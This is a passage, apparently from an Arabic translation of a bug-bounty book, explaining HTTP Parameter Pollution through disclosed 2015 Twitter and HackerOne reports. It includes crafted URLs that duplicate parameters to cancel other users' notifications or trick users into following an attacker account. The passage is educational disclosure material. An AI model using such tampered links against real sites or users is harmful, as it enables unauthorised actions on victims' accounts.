اخر قيمة للبارامتر , وهو الذي اضافه المهاجم , تم اعتمادها من قبل موقع التواصل فيسبوك عند نشر رابط الصفحة , ايضا يمكن تغيير محتوى التغريدة على موقع تويتر عند الضغط على زر Tweet:

https://hackerone.com/blog/introducing-signal?&u=https://vk.com/durov&text=another_site:https://vk.com/durov

2. Twitter الغاء اشعارات

الصعوبة: منخفضة

الرابط: twitter.com

رابط الابلاغ: merttasci.com/blog/twitter-hpp-vulnerability

تاريخ الابلاغ: اغسطس 23, 2015

المكافاة: $700

الوصف:

في اغسطس ٢٠١٥ , اكتشف هاكر يسمى ميرت تاسكي , رابط مثير للاهتمام , اثناء انزعاجه باشعارات تويتر , ونيته في وقفها وكان الرابط كالتالي:

https://twitter.com/i/u?t=1&cn=bWV&sig=657&iid=F6542&uid=1134885524&nid=22+26

هل لاحظت هذا البارامترuid ? ربما يكون هو معرف تويتر الخاص بك , افترض ميرت انه اذا قام بتغيير قيمته فيمكنه خداع تويتر والغاء اشعارات شخص اخر ولكنه فشل , رد الموقع كان عبارة عن رسالة خطا.

ولكنه صمم ولم يستسلم , قام ميرت باضافة بارامتر اضافي , فاصبح الرابط كالتالي:

https://twitter.com/i/u?iid=F6542&uid=2321301342&uid=1134885524&nid=22+26

بالفعل نجح بيرت , وقام بالغاء اشعارات شخص اخر , واثبت ان تويتر مصاب بثغرة اتش بي بي التي تسبب وقف الاشعارات الخاصة بالمستخدمين والتي ترسل على الاميل الخاص بهم.

3. Twitter Web Intents

الصعوبة: منخفضة

الرابط: twitter.com

رابط المقال: Parameter Tamperting Attack on Twitter Web Intents

تاريخ الابلاغ: نوفمبر 2015

المكافاة: Undisclosed

الوصف:

يوفر موقع تويتر , نوافذ منبثقة , للتفاعل مع التغريدات , والاعجاب بها , ومتابعة الاشخاص بطريقة مباشرة , طبقا للوثيقة الخاصة بهم , فهم يوفرون للمستخدم امكانية التفاعل مع تويتر من داخل موقعهم بدون (الخروج منه , او زيارة صفحة خارجية , او السماح لتطبيق بالولوج لحسابهم ).* كما بالصورة :

Twitter Intent
Twitter Intent

اثناء الاختبار وجد هاكر اسمه ايريك رافالوف , ان الاربع تفاعلات ,(التغريد , متابعة المستخدمين و الاعجاب بالتغريدات , واعادة التغريد) جميعهم مصابين بثغرة HPP.

تبعا لكلام ايريك على مدونته لو قمنا بكتابة الرابط التالي و ادخال قيمتين للبارمتر screen_name:

https://twitter.com/intent/follow?screen_name=twitter&scnreen_name=erictest3

سيقوم موقع تويتر , باخذ القيمة الثانية بدلا عن القيمة الاولى. According to Eric, the web form looked like:

 1 <form class="follow " id="follow_btn_form" action="/intent/follow?screen_name=er\
 2 icrtest3" method="post">  
 3   <input type="hidden" name="authenticity_token" value="...">
 4   <input type="hidden" name="screen_name" value="twitter">
 5 
 6   <input type="hidden" name="profile_id" value="783214">
 7 
 8   <button class="button" type="submit" >
 9     <b></b><strong>Follow</strong>
10   </button>
11 </form> 

المستخدم العادي قد ينوي متابعة شخص تويتر , قد يلاحظ المستخدم معرف تويتر موجود في البارامتر الاول , ويظن انه بذلك يتابع تويتر عند الضغط على الزر , ولكن الحقيقه انه يتابع erictest3.

نفس السيناريو يحدث عند الاعجاب بتغريدة , لاحظ ايرك انه يمكنه اضافة البارمتر السابق مره اخرى (مع ان ذلك ليس له علاقة بالاعجاب بالتغريدة ). في الاخر يكون الرابط كالتالي:

https://twitter.com/intent/like?tweet_id=6616252302978211845&screen_name=erictest3

عند الضغط , على زر الاعجاب , يسجل التطبيق اعجاب بالتغريدة عند المستخدم الصحيح , ولكن عند الضغط على متابعة , سيتابع erictest3 مرة اخرى.

الملخص

تعد المخاطر اللتي تحدث نتيجة وجود ثغرات HPP ناتجة عن الافعال التي يقوم بها التطبيق اثناء معالجة المدخلات المرسلة .

اكتشاف هذا النوع من الثغرات يعتمد علي التجريب والممارسة , اكثر من الثغرات الاخري , لان الافعال التي يقوم بها التطبيق على السرفر ربما تكون معقدة جدا ولا يمكن التنبؤ بها , لذلك التطبيق الفعلي والتلاعب بالمدخلات هو افضل الطرق , لكشف مايحدث ناحية السرفر.

اثناء التطبيق وقراءة الاخطاء , ربما تكون قادر علي اكتشاف مايحدث عند تواصل سيرفر مع سيرفر اخر , عندئذ قم باختبار هذا النوع من الثغرات , دائما تكون الروابط هيا افضل خطوة للبدء.